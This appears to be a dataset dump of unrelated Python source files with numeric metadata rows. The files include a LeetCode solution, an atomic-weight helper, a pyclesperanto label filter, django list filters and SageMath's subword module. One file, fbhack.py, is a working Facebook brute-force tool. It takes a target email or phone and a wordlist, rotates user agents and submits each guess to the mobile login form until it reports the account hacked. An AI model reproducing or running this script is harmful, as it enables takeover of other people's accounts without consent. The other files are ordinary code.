import glob import os def extract_new_item_list(fresh_list, last_id): return list(reversed(fresh_list[: fresh_list.index(last_id)])) def clean_resource(): files_to_clean = glob.glob("resource/*") for f in files_to_clean: os.remove(f) def extract_missing_galleries(fresh_list, owned_ids): owned_set = set(owned_ids) return list(filter(lambda id: id not in owned_set, fresh_list))
22.944444
67
0.733656
66
413
4.272727
0.454545
0.159574
0.092199
0
0
0
0
0
0
0
0
0
0.164649
413
17
68
24.294118
0.817391
0
0
0
0
0
0.024213
0
0
0
0
0
0
1
0.272727
false
0
0.181818
0.090909
0.636364
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
90549c2ba14202d138b8dd6a883e2147a4e14802
2,245
py
Python
.leetcode/503.next-greater-element-ii.py
KuiyuanFu/PythonLeetCode
8962df2fa838eb7ae48fa59de272ba55a89756d8
[ "MIT" ]
null
null
null
.leetcode/503.next-greater-element-ii.py
KuiyuanFu/PythonLeetCode
8962df2fa838eb7ae48fa59de272ba55a89756d8
[ "MIT" ]
null
null
null
.leetcode/503.next-greater-element-ii.py
KuiyuanFu/PythonLeetCode
8962df2fa838eb7ae48fa59de272ba55a89756d8
[ "MIT" ]
null
null
null
# @lc app=leetcode id=503 lang=python3 # # [503] Next Greater Element II # # https://leetcode.com/problems/next-greater-element-ii/description/ # # algorithms # Medium (60.08%) # Likes: 3257 # Dislikes: 108 # Total Accepted: 164.6K # Total Submissions: 273.2K # Testcase Example: '[1,2,1]' # # Given a circular integer array nums (i.e., the next element of # nums[nums.length - 1] is nums[0]), return the next greater number for every # element in nums. # # The next greater number of a number x is the first greater number to its # traversing-order next in the array, which means you could search circularly # to find its next greater number. If it doesn't exist, return -1 for this # number. # # # Example 1: # # # Input: nums = [1,2,1] # Output: [2,-1,2] # Explanation: The first 1's next greater number is 2; # The number 2 can't find next greater number. # The second 1's next greater number needs to search circularly, which is also # 2. # # # Example 2: # # # Input: nums = [1,2,3,4,3] # Output: [2,3,4,-1,4] # # # # Constraints: # # # 1 <= nums.length <= 10^4 # -10^9 <= nums[i] <= 10^9 # # # # @lc tags=stack # @lc imports=start from imports import * # @lc imports=end # @lc idea=start # # 下一个最大的数,循环。 # 两次迭代 # # @lc idea=end # @lc group= # @lc rank= # @lc code=start class Solution: def nextGreaterElements(self, nums: List[int]) -> List[int]: s = [] buffer = [-1] * len(nums) for _ in range(2): for i in reversed(range(len(nums))): n = nums[i] while s and s[-1] <= n: s.pop() if s: buffer[i] = s[-1] s.append(n) return buffer pass # @lc code=end # @lc main=start if __name__ == '__main__': print('Example 1:') print('Input : ') print('nums = [1,2,1]') print('Exception :') print('[2,-1,2]') print('Output :') print(str(Solution().nextGreaterElements([1, 2, 1]))) print() print('Example 2:') print('Input : ') print('nums = [1,2,3,4,3]') print('Exception :') print('[2,3,4,-1,4]') print('Output :') print(str(Solution().nextGreaterElements([1, 2, 3, 4, 3]))) print() pass # @lc main=end
19.867257
78
0.578174
334
2,245
3.859281
0.359281
0.013964
0.079131
0.00931
0.163693
0.126455
0.074476
0.074476
0
0
0
0.056954
0.257016
2,245
113
79
19.867257
0.715827
0.523831
0
0.30303
0
0
0.133599
0
0
0
0
0
0
1
0.030303
false
0.060606
0.030303
0
0.121212
0.484848
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
1
0
2
905df271575e9954534ed0d0af7e6fed09e7232d
2,662
py
Python
fbhack.py
Mr-Devil-007/REVERSE-INGINEERING
1691308a66c6bc19adb70f73deef565d35920b22
[ "Apache-2.0", "MIT" ]
1
2022-03-08T18:48:31.000Z
2022-03-08T18:48:31.000Z
fbhack.py
Mr-Devil-007/REVERSE-INGINEERING
1691308a66c6bc19adb70f73deef565d35920b22
[ "Apache-2.0", "MIT" ]
null
null
null
fbhack.py
Mr-Devil-007/REVERSE-INGINEERING
1691308a66c6bc19adb70f73deef565d35920b22
[ "Apache-2.0", "MIT" ]
null
null
null
#-*-coding:utf8;-*- #qpy:3 #qpy:console import os A='\033[1;31m' B='\033[1;32m' C='\033[1;33m' D='\033[1;34m' E='\033[1;35m' F='\033[1;36m' grb='''@:[1864140940265166]''' print(B) os.system('cowsay -f eyes "@Termux@ Hack Facebook" ') print(A) ok=""" ================================================== = FBBrute4King = = {} By:{}. (( KingElhakemV3$C™ )){} ================================================== """.format(A, B, A,B, grb, A,C, A, C, A, C, A, C, A, C, A, C, A, C, A,'Welcome To @Termux@ ') print(ok) #!/usr/bin/env python # -*- coding: UTF-8 -*- import sys import mechanize import cookielib import random W = '\033[1;37;40m' Br = '\033[1;31;40m' Bg = '\033[1;32;40m' Y = '\033[1;33;40m' Bb = '\033[1;34;40m' Bm = '\033[1;35;40m' Bc = '\033[1;36;40m' #email email = str(raw_input("Email or Phone: ")) #wordlist passwordlist = str(raw_input("Wordlist Path : ")) #Target Website login = 'https://m.facebook.com/login/?next&ref=dbl&fl&refid=8' #useragents useragents = [('Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')] def main(): global br br = mechanize.Browser() cj = cookielib.LWPCookieJar() br.set_handle_robots(False) br.set_handle_redirect(True) br.set_cookiejar(cj) br.set_handle_equiv(True) br.set_handle_referer(True) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) welcome() search() print("Password does not exist in the wordlist") def brute(password): sys.stdout.write("\r[*] Trying ..... {}\n".format(password)) sys.stdout.flush() br.addheaders = [('User-agent', random.choice(useragents))] site = br.open(login) br.select_form(nr = 0) br.form['email'] = email br.form['pass'] = password sub = br.submit() log = sub.geturl() if log != login and (not 'login_attempt' in log): print(Bg +"\n\n[+] Email/Phone: " + email + " Password: {}".format(password)) + W print Bg + "[+] " + email + " Has been Hacked Successfully!!!" + W m = raw_input(' Do You want to exit? (y/n)') if m == 'y': exit() elif m == 'n': intro() def search(): global password passwords = open(passwordlist,"r") for password in passwords: password = password.replace("\n","") brute(password) #welcome def welcome(): total = open(passwordlist,"r") total = total.readlines() print print " [*] Account to crack : {}".format(email) print " [*] Loaded :" , len(total), "passwords" print " [*] Cracking, please wait ...\n\n" if __name__ == '__main__': main()
23.147826
191
0.592036
393
2,662
3.946565
0.452926
0.033527
0.01354
0.015474
0.009671
0.009671
0.009671
0.009671
0.009671
0.009671
0
0.075875
0.173178
2,662
114
192
23.350877
0.627896
0.045079
0
0.025
0
0.0375
0.399209
0.039526
0
0
0
0
0
0
null
null
0.1625
0.0625
null
null
0.125
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
907d71fafa6af9209a7e4991063887e1a741afd8
3,522
py
Python
src/misc.py
hkimaf/unixmd
616634c720d0589fd600e3268afab9da957e18bb
[ "MIT" ]
9
2021-04-18T08:03:50.000Z
2022-03-22T03:29:54.000Z
src/misc.py
hkimaf/unixmd
616634c720d0589fd600e3268afab9da957e18bb
[ "MIT" ]
23
2021-04-14T08:43:02.000Z
2022-03-31T10:26:42.000Z
src/misc.py
hkimaf/unixmd
616634c720d0589fd600e3268afab9da957e18bb
[ "MIT" ]
16
2021-04-14T05:59:45.000Z
2022-02-02T03:05:23.000Z
from functools import wraps import sys, time, os import numpy as np # Atomic weight data = { "xx" : 1.00794, "H" : 1.00794, "He" : 4.00260, "Li" : 6.941, "Be" : 9.012187, "B" : 10.811, "C" : 12.0107, "N" : 14.00674, "O" : 15.9994, "F" : 18.99840, "Ne" : 20.1797, "Na" : 22.98977, "Mg" : 24.3050, "Al" : 26.98152, "Si" : 28.0855, "P" : 30.97376, "S" : 32.066, "Cl" : 35.4527, "Ar" : 39.948, "K" : 39.0983, "Ca" : 40.078, "Sc" : 44.95591, "Ti" : 47.867, "V" : 50.9415, "Cr" : 51.9961, "Mn" : 54.93805, "Fe" : 55.845, "Co" : 58.93320, "Ni" : 58.6934, "Cu" : 63.546, "Zn" : 65.39, "Ga" : 69.723, "Ge" : 72.61, "As" : 74.92160, "Se" : 78.96, "Br" : 79.904, "Kr" : 83.80, "Rb" : 85.4678, "Sr" : 87.62, "Y" : 88.90585, "Zr" : 91.224, "Nb" : 92.90638, "Mo" : 95.94, "Tc" : 98.0, "Ru" : 101.07, "Rh" : 102.90550, "Pd" : 106.42, "Ag" : 107.8682, "Cd" : 112.411, "In" : 114.818, "Sn" : 118.710, "Sb" : 121.760, "Te" : 127.60, "I" : 126.90477, "Xe" : 131.29, "Cs" : 132.90545, "Ba" : 137.327, "La" : 138.9055, "Ce" : 140.116, "Pr" : 140.90765, "Nd" : 144.24, "Pm" : 145.0, "Sm" : 150.36, "Eu" : 151.964, "Gd" : 157.24, "Tb" : 158.92534, "Dy" : 162.50, "Ho" : 164.93032, "Er" : 167.26, "Tm" : 168.93421, "Yb" : 173.04, "Lu" : 174.967, "Hf" : 178.49, "Ta" : 180.9479, "W" : 183.84, "Re" : 186.207, "Os" : 190.23, "Ir" : 192.217, "Pt" : 195.078, "Au" : 196.96655, "Hg" : 200.59, "Tl" : 204.3833, "Pb" : 207.2, "Bi" :208.98038, "Po" : 209.0, "At" : 210.0, "Rn" : 222.0, "Fr" :223.0, "Ra" : 226.0, "Ac" : 227.0, "Th" : 232.0381, "Pa" : 231.03588, "U" : 238.0289, "Np" : 237.0, "Pu" : 244.0, "Am" : 243.0, "Cm" : 247.0, "Bk" : 247.0, "Cf" : 251.0, "Es" : 252.0, "Fm" : 257.0, "Md" : 258.0, "No" : 259.0, "Lr" : 262.0, "Rf" : 261.0, "Db" : 262.0, "Sg" : 263.0, "Bh" : 264.0, "Hs" : 265.0, "Mt" : 268.0, "Ds" : 271.0, "Rg" : 272.0, "Uub" : 285.0, "Uut" : 284.0, "Uuq" : 289.0, "Uup" : 288.0, "Uuh" : 292.0} # Conversion units amu_to_au = 1822.888486192 au_to_A = 0.529177249 A_to_au = 1 / au_to_A au_to_fs = 0.02418884344 fs_to_au = 1 / au_to_fs # = 41.34137304 au_to_K = 3.15774646E+5 au_to_eV = 27.2113961 eV_to_au = 1 / au_to_eV # = 0.03674931 au_to_kcalmol = 627.503 kcalmol_to_au = 1 / au_to_kcalmol # = 0.00159362 # Speed of light in atomic unit c = 137.035999108108 # Frequency unit cm_to_au = 1.0E-8 * au_to_A * c eps = 1.0E-12 data.update({n : amu_to_au * data[n] for n in data.keys()}) def elapsed_time(func): @wraps(func) def check(*args, **kwargs): tbegin = time.time() func(*args, **kwargs) tend = time.time() print (f"{func.__name__} : Elapsed time = {tend - tbegin} seconds", flush=True) return check def call_name(): return sys._getframe(1).f_code.co_name def typewriter(string, dir_name, filename, mode): """ Function to open/write any string in dir_name/filename :param string string: Text string for output file :param string dir_name: Directory of output file :param string filename: Filename of output file :param string mode: Fileopen mode """ tmp_name = os.path.join(dir_name, filename) with open(tmp_name, mode) as f: f.write(string + "\n") def gaussian1d(x, const, sigma, x0): if (sigma < 0.0): return -1 else: res = const / (sigma * np.sqrt(2. * np.pi)) * np.exp(- (x - x0) ** 2 / (2. * sigma ** 2)) return res
42.433735
107
0.532084
609
3,522
2.996716
0.65353
0.021918
0.013699
0.015342
0.044932
0
0
0
0
0
0
0.287009
0.248154
3,522
82
108
42.95122
0.40219
0.100227
0
0
0
0
0.090734
0
0
0
0
0
0
1
0.087719
false
0
0.052632
0.017544
0.210526
0.017544
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
907ed92c7e599f667818de7238e7b59016331705
624
py
Python
modules/misc.py
cd-con/lenta
e75f62e4f33fc051e5ffc0cd2a4bfae69ac2cf0d
[ "MIT" ]
null
null
null
modules/misc.py
cd-con/lenta
e75f62e4f33fc051e5ffc0cd2a4bfae69ac2cf0d
[ "MIT" ]
null
null
null
modules/misc.py
cd-con/lenta
e75f62e4f33fc051e5ffc0cd2a4bfae69ac2cf0d
[ "MIT" ]
1
2021-10-09T19:53:11.000Z
2021-10-09T19:53:11.000Z
import random import string import settings def cleanup_array(array): bad_words = ["", " ", " "] output = [] for a_word in array: if a_word not in bad_words: output.append(a_word) return output def generate_random_color(): colors = ["🟥", "🟧", "🟨", "🟩", "🟦", "🟪"] return random.choice(colors) def generate_random_key(lenght=10, seed=random.randint(11111, 99999)): random.Random().seed(str(seed)) return ''.join([random.choice(string.ascii_letters) for _ in range(lenght)]) def is_admin(user_id): return user_id == settings.admin_id
22.285714
81
0.610577
84
624
4.416667
0.52381
0.040431
0.075472
0
0
0
0
0
0
0
0
0.025424
0.24359
624
27
82
23.111111
0.747881
0
0
0
0
0
0.015075
0
0
0
0
0
0
1
0.222222
false
0
0.166667
0.055556
0.611111
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
909f5a1524a236ed5e6091fa12675ddea0f974e8
989
py
Python
pyclesperanto_prototype/_tier4/_exclude_large_labels.py
DrLachie/pyclesperanto_prototype
56843fac2543265c40f108fd40eac3ecf85c8458
[ "BSD-3-Clause" ]
null
null
null
pyclesperanto_prototype/_tier4/_exclude_large_labels.py
DrLachie/pyclesperanto_prototype
56843fac2543265c40f108fd40eac3ecf85c8458
[ "BSD-3-Clause" ]
null
null
null
pyclesperanto_prototype/_tier4/_exclude_large_labels.py
DrLachie/pyclesperanto_prototype
56843fac2543265c40f108fd40eac3ecf85c8458
[ "BSD-3-Clause" ]
null
null
null
from .._tier0 import plugin_function from .._tier0 import Image from .._tier0 import create_none @plugin_function(output_creator=create_none, categories=['label processing', 'in assistant']) def exclude_large_labels(source: Image, destination: Image = None, minimum_size: float = 100) -> Image: """Removes labels from a label map which are above a given maximum size. Size of the labels is given as the number of pixel or voxels per label. Parameters ---------- source : Image destination : Image, optional minimum_size : Number, optional Returns ------- destination References ---------- .. [1] https://clij.github.io/clij2-docs/reference_excludeLabelsOutsideSizeRange """ from .._tier3 import exclude_labels_out_of_size_range return exclude_labels_out_of_size_range(source, destination, minimum_size=0, maximum_size=minimum_size)
34.103448
103
0.658241
114
989
5.473684
0.526316
0.070513
0.072115
0.086538
0.086538
0.086538
0
0
0
0
0
0.013459
0.248736
989
28
104
35.321429
0.82638
0.379171
0
0
0
0
0.05045
0
0
0
0
0
0
1
0.111111
false
0
0.444444
0
0.666667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
90a4734259a8c283ccf1a30bc8b7f53049059157
4,281
py
Python
cradmin_legacy/viewhelpers/listfilter/basefilters/single/abstracttextinput.py
appressoas/cradmin_legacy
b9d024299333dd04c87c1031bd5be5778aa7f1f1
[ "BSD-3-Clause" ]
null
null
null
cradmin_legacy/viewhelpers/listfilter/basefilters/single/abstracttextinput.py
appressoas/cradmin_legacy
b9d024299333dd04c87c1031bd5be5778aa7f1f1
[ "BSD-3-Clause" ]
17
2018-03-07T15:52:42.000Z
2022-03-12T01:07:06.000Z
cradmin_legacy/viewhelpers/listfilter/basefilters/single/abstracttextinput.py
appressoas/cradmin_legacy
b9d024299333dd04c87c1031bd5be5778aa7f1f1
[ "BSD-3-Clause" ]
1
2018-07-23T22:13:45.000Z
2018-07-23T22:13:45.000Z
from django.utils.translation import gettext_lazy, pgettext, pgettext_lazy from cradmin_legacy.viewhelpers.listfilter.base.abstractfilter import AbstractFilter class AbstractInputFilter(AbstractFilter): """ Abstract base class for any filter that uses a single text input field. """ template_name = 'cradmin_legacy/viewhelpers/listfilter/django/single/textinput/base.django.html' #: The text used in URLs as placeholder for the value of this filter. #: The AngularJS directive replaces this with the actual value. #: You should not have to override this. urlpattern_replace_text = '_-_TEXTINPUT_-_VALUE_-_' def get_input_html_element_type(self): """ Get the ``type``-attribute of the input HTML element. Defaults to ``"text"``. """ return 'text' def get_input_html_element_pattern(self): """ Get the ``pattern`` attribute of the input HTML element. Defaults to ``None``. If this returns a value that is ``bool(value) == False``, the pattern attribute is not added to the input HTML element. """ return None def get_base_css_classes_list(self): css_classes = super(AbstractInputFilter, self).get_base_css_classes_list() css_classes.append('cradmin-legacy-listfilter-filter-single-input') return css_classes def get_placeholder(self): """ Get the placeholder text for the input element. Defaults to empty string. """ return '' def get_inputfield_value(self): return self.get_cleaned_value() or '' def get_urlpattern(self): """ Get the URL pattern to use when the input value is a non-empty string. You should not need to override this. """ return self.build_set_values_url(values=[self.urlpattern_replace_text]) def get_emptyvalue_url(self): """ Get the URL to use when the input value is an empty string. You should not need to override this. """ return self.build_clear_values_url() def get_timeout_milliseconds(self): """ Get the number of milliseconds to wait until applying the change when users modify the input field. When users hit enter or focus away from the field, search is done instantly, so this is only the delay to wait while users are typing (live search). """ return 500 def get_angularjs_options_dict(self): options_dict = super(AbstractInputFilter, self).get_angularjs_options_dict() options_dict['timeout_milliseconds'] = self.get_timeout_milliseconds() options_dict['urlpattern_replace_text'] = self.urlpattern_replace_text return options_dict class IntInputFilterMixin(object): """ Mixin class that can be used with a subclass of :class:`.AbstractInputFilter` to provide int input instead of text. Must be mixed in **before** :class:`AbstractInputFilter`. """ def get_cleaned_value(self): """ Get the value as an ``int``, or ``None`` (if no value is provided). """ cleaned_value = super(IntInputFilterMixin, self).get_cleaned_value() if cleaned_value in (None, ''): return None try: return int(cleaned_value) except ValueError: return None def get_placeholder(self): return pgettext_lazy('listfilter IntInputFilterMixin', 'Type a number ...') class AbstractSearch(AbstractInputFilter): """ Abstract search filter. Subclasses only need to implement :meth:`cradmin_legacy.viewhelpers.listfilter.base.abstractfilter.AbstractFilter.filter`. See :class:`cradmin_legacy.viewhelpers.listfilter.django.single.textinput.Search` for a Django ORM implementation. """ def get_base_css_classes_list(self): css_classes = super(AbstractSearch, self).get_base_css_classes_list() css_classes.append('cradmin-legacy-listfilter-filter-single-input-search') return css_classes def get_placeholder(self): return gettext_lazy('Search ...') def get_loadingmessage(self): return pgettext('listfilter loading message', 'Searching')
33.186047
100
0.673908
522
4,281
5.350575
0.275862
0.030075
0.025063
0.048693
0.305406
0.277837
0.240602
0.157537
0.128894
0.128894
0
0.000925
0.242467
4,281
128
101
33.445313
0.860315
0.364634
0
0.208333
0
0
0.14071
0.092276
0
0
0
0
0
1
0.291667
false
0
0.041667
0.083333
0.770833
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
90a5e1215be8d675f58028e2b50f5124f8133bdd
103
py
Python
jp.atcoder/abc081/abc081_a/8081239.py
kagemeka/atcoder-submissions
91d8ad37411ea2ec582b10ba41b1e3cae01d4d6e
[ "MIT" ]
1
2022-02-09T03:06:25.000Z
2022-02-09T03:06:25.000Z
jp.atcoder/abc081/abc081_a/8081239.py
kagemeka/atcoder-submissions
91d8ad37411ea2ec582b10ba41b1e3cae01d4d6e
[ "MIT" ]
1
2022-02-05T22:53:18.000Z
2022-02-09T01:29:30.000Z
jp.atcoder/abc081/abc081_a/8081239.py
kagemeka/atcoder-submissions
91d8ad37411ea2ec582b10ba41b1e3cae01d4d6e
[ "MIT" ]
null
null
null
ls = list(input().split()) count = 0 for l in ls: if l == 1: count += 1 print(count)
14.714286
27
0.485437
17
103
2.941176
0.705882
0
0
0
0
0
0
0
0
0
0
0.044776
0.349515
103
6
28
17.166667
0.701493
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0.166667
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
90aa323d986c6514e0e11d4bac09f4f514d6e494
15,993
py
Python
src/sage/combinat/subword.py
hsm207/sage
020bd59ec28717bfab9af44d2231c53da1ff99f1
[ "BSL-1.0" ]
1,742
2015-01-04T07:06:13.000Z
2022-03-30T11:32:52.000Z
src/sage/combinat/subword.py
Ivo-Maffei/sage
467fbc70a08b552b3de33d9065204ee9cbfb02c7
[ "BSL-1.0" ]
66
2015-03-19T19:17:24.000Z
2022-03-16T11:59:30.000Z
src/sage/combinat/subword.py
dimpase/sage
468f23815ade42a2192b0a9cd378de8fdc594dcd
[ "BSL-1.0" ]
495
2015-01-10T10:23:18.000Z
2022-03-24T22:06:11.000Z
r""" Subwords A subword of a word `w` is a word obtained by deleting the letters at some (non necessarily adjacent) positions in `w`. It is not to be confused with the notion of factor where one keeps adjacent positions in `w`. Sometimes it is useful to allow repeated uses of the same letter of `w` in a "generalized" subword. We call this a subword with repetitions. For example: - "bnjr" is a subword of the word "bonjour" but not a factor; - "njo" is both a factor and a subword of the word "bonjour"; - "nr" is a subword of "bonjour"; - "rn" is not a subword of "bonjour"; - "nnu" is not a subword of "bonjour"; - "nnu" is a subword with repetitions of "bonjour"; A word can be given either as a string, as a list or as a tuple. As repetition can occur in the initial word, the subwords of a given words is not a set in general but an enumerated multiset! .. TODO:: - implement subwords with repetitions - implement the category of EnumeratedMultiset and inheritate from when needed (i.e. the initial word has repeated letters) AUTHORS: - Mike Hansen: initial version - Florent Hivert (2009/02/06): doc improvements + new methods + bug fixes """ #***************************************************************************** # Copyright (C) 2007 Mike Hansen <mhansen@gmail.com>, # 2014 Vincent Delecroix <20100.delecroix@gmail.com>, # # Distributed under the terms of the GNU General Public License (GPL) # # This code is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # The full text of the GPL is available at: # # http://www.gnu.org/licenses/ #***************************************************************************** import itertools from sage.structure.parent import Parent from sage.categories.finite_enumerated_sets import FiniteEnumeratedSets import sage.arith.all as arith import sage.misc.prandom as prandom from sage.rings.integer import Integer from sage.sets.finite_enumerated_set import FiniteEnumeratedSet def _stringification(data): r""" TESTS:: sage: from sage.combinat.subword import _stringification sage: _stringification(['a','b','c']) 'abc' """ return ''.join(data) def Subwords(w, k=None, element_constructor=None): """ Return the set of subwords of ``w``. INPUT: - ``w`` -- a word (can be a list, a string, a tuple or a word) - ``k`` -- an optional integer to specify the length of subwords - ``element_constructor`` -- an optional function that will be used to build the subwords EXAMPLES:: sage: S = Subwords(['a','b','c']); S Subwords of ['a', 'b', 'c'] sage: S.first() [] sage: S.last() ['a', 'b', 'c'] sage: S.list() [[], ['a'], ['b'], ['c'], ['a', 'b'], ['a', 'c'], ['b', 'c'], ['a', 'b', 'c']] The same example using string, tuple or a word:: sage: S = Subwords('abc'); S Subwords of 'abc' sage: S.list() ['', 'a', 'b', 'c', 'ab', 'ac', 'bc', 'abc'] sage: S = Subwords((1,2,3)); S Subwords of (1, 2, 3) sage: S.list() [(), (1,), (2,), (3,), (1, 2), (1, 3), (2, 3), (1, 2, 3)] sage: w = Word([1,2,3]) sage: S = Subwords(w); S Subwords of word: 123 sage: S.list() [word: , word: 1, word: 2, word: 3, word: 12, word: 13, word: 23, word: 123] Using word with specified length:: sage: S = Subwords(['a','b','c'], 2); S Subwords of ['a', 'b', 'c'] of length 2 sage: S.list() [['a', 'b'], ['a', 'c'], ['b', 'c']] An example that uses the ``element_constructor`` argument:: sage: p = Permutation([3,2,1]) sage: Subwords(p, element_constructor=tuple).list() [(), (3,), (2,), (1,), (3, 2), (3, 1), (2, 1), (3, 2, 1)] sage: Subwords(p, 2, element_constructor=tuple).list() [(3, 2), (3, 1), (2, 1)] """ if element_constructor is None: datatype = type(w) # 'datatype' is the type of w if datatype is list or datatype is tuple: element_constructor = datatype elif datatype is str: element_constructor = _stringification else: from sage.combinat.words.words import Words try: alphabet = w.parent().alphabet() element_constructor = Words(alphabet) except AttributeError: element_constructor = list if k is None: return Subwords_w(w, element_constructor) if not isinstance(k, (int, Integer)): raise ValueError("k should be an integer") if k < 0 or k > len(w): return FiniteEnumeratedSet([]) return Subwords_wk(w, k, element_constructor) class Subwords_w(Parent): r""" Subwords of a given word. """ def __init__(self, w, element_constructor): """ TESTS:: sage: TestSuite(Subwords([1,2,3])).run() sage: TestSuite(Subwords('sage')).run() """ Parent.__init__(self, category=FiniteEnumeratedSets()) self._w = w self._build = element_constructor def __eq__(self, other): r""" Equality test. TESTS:: sage: Subwords([1,2,3]) == Subwords([1,2,3]) True sage: Subwords([1,2,3]) == Subwords([1,3,2]) False """ return self.__class__ == other.__class__ and self._w == other._w and self._build == other._build def __ne__(self, other): r""" TESTS:: sage: Subwords([1,2,3]) != Subwords([1,2,3]) False sage: Subwords([1,2,3]) != Subwords([1,3,2]) True """ return not self == other def __reduce__(self): r""" Pickle (how to construct back the object). TESTS:: sage: S = Subwords((1,2,3)) sage: S == loads(dumps(S)) True sage: S = Subwords('123') sage: S == loads(dumps(S)) True sage: S = Subwords(('a',(1,2,3),('a','b'),'ir')) sage: S == loads(dumps(S)) True """ return (Subwords_w, (self._w, self._build)) def __repr__(self): """ TESTS:: sage: repr(Subwords([1,2,3])) # indirect doctest 'Subwords of [1, 2, 3]' """ return "Subwords of {!r}".format(self._w) def __contains__(self, w): """ TESTS:: sage: [] in Subwords([1,2,3,4,3,4,4]) True sage: [2,3,3,4] in Subwords([1,2,3,4,3,4,4]) True sage: [5,5,3] in Subwords([1,3,3,5,4,5,3,5]) True sage: [3,5,5,3] in Subwords([1,3,3,5,4,5,3,5]) True sage: [3,5,5,3,4] in Subwords([1,3,3,5,4,5,3,5]) False sage: [2,3,3,4] in Subwords([1,2,3,4,3,4,4]) True sage: [2,3,3,1] in Subwords([1,2,3,4,3,4,4]) False """ return smallest_positions(self._w, w) is not False def cardinality(self): """ EXAMPLES:: sage: Subwords([1,2,3]).cardinality() 8 """ return Integer(1) << len(self._w) def first(self): """ EXAMPLES:: sage: Subwords([1,2,3]).first() [] sage: Subwords((1,2,3)).first() () sage: Subwords('123').first() '' """ return self._build([]) def last(self): """ EXAMPLES:: sage: Subwords([1,2,3]).last() [1, 2, 3] sage: Subwords((1,2,3)).last() (1, 2, 3) sage: Subwords('123').last() '123' """ return self._build(self._w) def random_element(self): r""" Return a random subword with uniform law. EXAMPLES:: sage: S1 = Subwords([1,2,3,2,1,3]) sage: S2 = Subwords([4,6,6,6,7,4,5,5]) sage: for i in range(100): ....: w = S1.random_element() ....: if w in S2: ....: assert(w == []) sage: for i in range(100): ....: w = S2.random_element() ....: if w in S1: ....: assert(w == []) """ return self._build(elt for elt in self._w if prandom.randint(0,1)) def __iter__(self): r""" EXAMPLES:: sage: Subwords([1,2,3]).list() [[], [1], [2], [3], [1, 2], [1, 3], [2, 3], [1, 2, 3]] sage: Subwords((1,2,3)).list() [(), (1,), (2,), (3,), (1, 2), (1, 3), (2, 3), (1, 2, 3)] sage: Subwords('123').list() ['', '1', '2', '3', '12', '13', '23', '123'] """ return itertools.chain(*[ Subwords_wk(self._w,i,self._build) for i in range(len(self._w)+1) ]) class Subwords_wk(Subwords_w): r""" Subwords with fixed length of a given word. """ def __init__(self, w, k, element_constructor): """ TESTS:: sage: S = Subwords([1,2,3],2) sage: S == loads(dumps(S)) True sage: TestSuite(S).run() """ Subwords_w.__init__(self, w, element_constructor) self._k = k def __eq__(self, other): r""" Equality test. TESTS:: sage: Subwords([1,2,3],2) == Subwords([1,2,3],2) True sage: Subwords([1,2,3],2) == Subwords([1,3,2],2) False sage: Subwords([1,2,3],2) == Subwords([1,2,3],3) False """ return Subwords_w.__eq__(self, other) and self._k == other._k def __reduce__(self): r""" Pickle (how to construct back the object). TESTS:: sage: S = Subwords('abc',2) sage: S == loads(dumps(S)) True sage: S = Subwords(('a',1,'45',(1,2))) sage: S == loads(dumps(S)) True """ return (Subwords_wk, (self._w, self._k, self._build)) def __repr__(self): """ TESTS:: sage: repr(Subwords([1,2,3],2)) # indirect doctest 'Subwords of [1, 2, 3] of length 2' """ return "{} of length {}".format(Subwords_w.__repr__(self), self._k) def __contains__(self, w): """ TESTS:: sage: [] in Subwords([1, 3, 3, 5, 4, 5, 3, 5],0) True sage: [2,3,3,4] in Subwords([1,2,3,4,3,4,4],4) True sage: [2,3,3,4] in Subwords([1,2,3,4,3,4,4],3) False sage: [5,5,3] in Subwords([1,3,3,5,4,5,3,5],3) True sage: [5,5,3] in Subwords([1,3,3,5,4,5,3,5],4) False """ return len(w) == self._k and Subwords_w.__contains__(self,w) def cardinality(self): r""" Returns the number of subwords of w of length k. EXAMPLES:: sage: Subwords([1,2,3], 2).cardinality() 3 """ return arith.binomial(Integer(len(self._w)), self._k) def first(self): r""" EXAMPLES:: sage: Subwords([1,2,3],2).first() [1, 2] sage: Subwords([1,2,3],0).first() [] sage: Subwords((1,2,3),2).first() (1, 2) sage: Subwords((1,2,3),0).first() () sage: Subwords('123',2).first() '12' sage: Subwords('123',0).first() '' """ return self._build(self._w[i] for i in range(self._k)) def last(self): r""" EXAMPLES:: sage: Subwords([1,2,3],2).last() [2, 3] sage: Subwords([1,2,3],0).last() [] sage: Subwords((1,2,3),2).last() (2, 3) sage: Subwords((1,2,3),0).last() () sage: Subwords('123',2).last() '23' sage: Subwords('123',0).last() '' TESTS:: sage: Subwords('123', 0).last() # trac 10534 '' """ n = len(self._w) return self._build(self._w[i] for i in range(n-self._k, n)) def random_element(self): r""" Return a random subword of given length with uniform law. EXAMPLES:: sage: S1 = Subwords([1,2,3,2,1],3) sage: S2 = Subwords([4,4,5,5,4,5,4,4],3) 